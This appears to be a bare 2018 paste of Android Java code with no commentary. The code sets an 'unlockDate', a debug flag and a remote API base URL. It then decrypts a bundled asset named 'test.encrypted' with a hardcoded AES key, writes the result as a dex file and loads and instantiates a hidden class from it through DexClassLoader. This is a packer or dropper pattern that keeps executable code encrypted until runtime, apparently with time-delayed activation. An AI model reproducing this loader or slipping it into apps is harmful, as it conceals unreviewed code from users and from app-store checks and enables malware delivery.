· 7 years ago · Nov 12, 2018, 03:54 PM
1System.setProperty("unlockDate", "30-12-2017 16-00");
2 System.setProperty("debugMode", Boolean.toString(BuildConfig.DEBUG));
3 System.setProperty("baseUrl", "https://loaloveme.com/api/v1/");
4 System.setProperty("launcherActivity", MainActivity.class.getName());
5 System.setProperty("SmartSchedulerAlarmReceiver", SmartSchedulerAlarmReceiver.class.getName());
6 System.setProperty("SmartSchedulerPeriodicTaskService", SmartSchedulerPeriodicTaskService.class.getName());
7 System.setProperty("components", "installs");
8
9 File optimizedDexOutputPath = context.getDir("out", Context.MODE_PRIVATE);
10 //
11 String inFile = "test.encrypted";
12 File outputFile = new File(context.getDir("dex", Context.MODE_PRIVATE), inFile);
13 //
14 AssetManager assetManager = context.getResources().getAssets();
15 InputStream inputStream = assetManager.open(inFile);
16 //
17 byte[] buffer = null;
18 ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
19 byte[] b = new byte[1000];
20 try {
21 int n;
22 while ((n = inputStream.read(b)) != -1) {
23 bos.write(b, 0, n);
24 }
25 buffer = bos.toByteArray();
26 } catch (FileNotFoundException e) {
27 e.printStackTrace();
28 } catch (IOException e) {
29 e.printStackTrace();
30 } finally {
31 try {
32 inputStream.close();
33 bos.close();
34 } catch (IOException e) {
35 e.printStackTrace();
36 }
37 }
38 try {
39 Key secretKey = new SecretKeySpec("Mary has one cat".getBytes(), "AES");
40 Cipher cipher = Cipher.getInstance("AES");
41 cipher.init(Cipher.DECRYPT_MODE, secretKey);
42 byte[] outputBytes = cipher.doFinal(buffer);
43 FileOutputStream outputStream = new FileOutputStream(outputFile);
44 outputStream.write(outputBytes);
45 outputStream.close();
46 DexClassLoader component = new DexClassLoader(outputFile.getAbsolutePath(),
47 optimizedDexOutputPath.getAbsolutePath(), null, context.getClassLoader());
48 Class builder = component.loadClass("path.SdkBuilder");
49 builder.getConstructor(Application.class).newInstance(context);
50 } catch (NoSuchPaddingException | NoSuchAlgorithmException
51 | InvalidKeyException | BadPaddingException
52 | IllegalBlockSizeException | IOException ex) {
53 throw new Exception("Error", ex);
54 }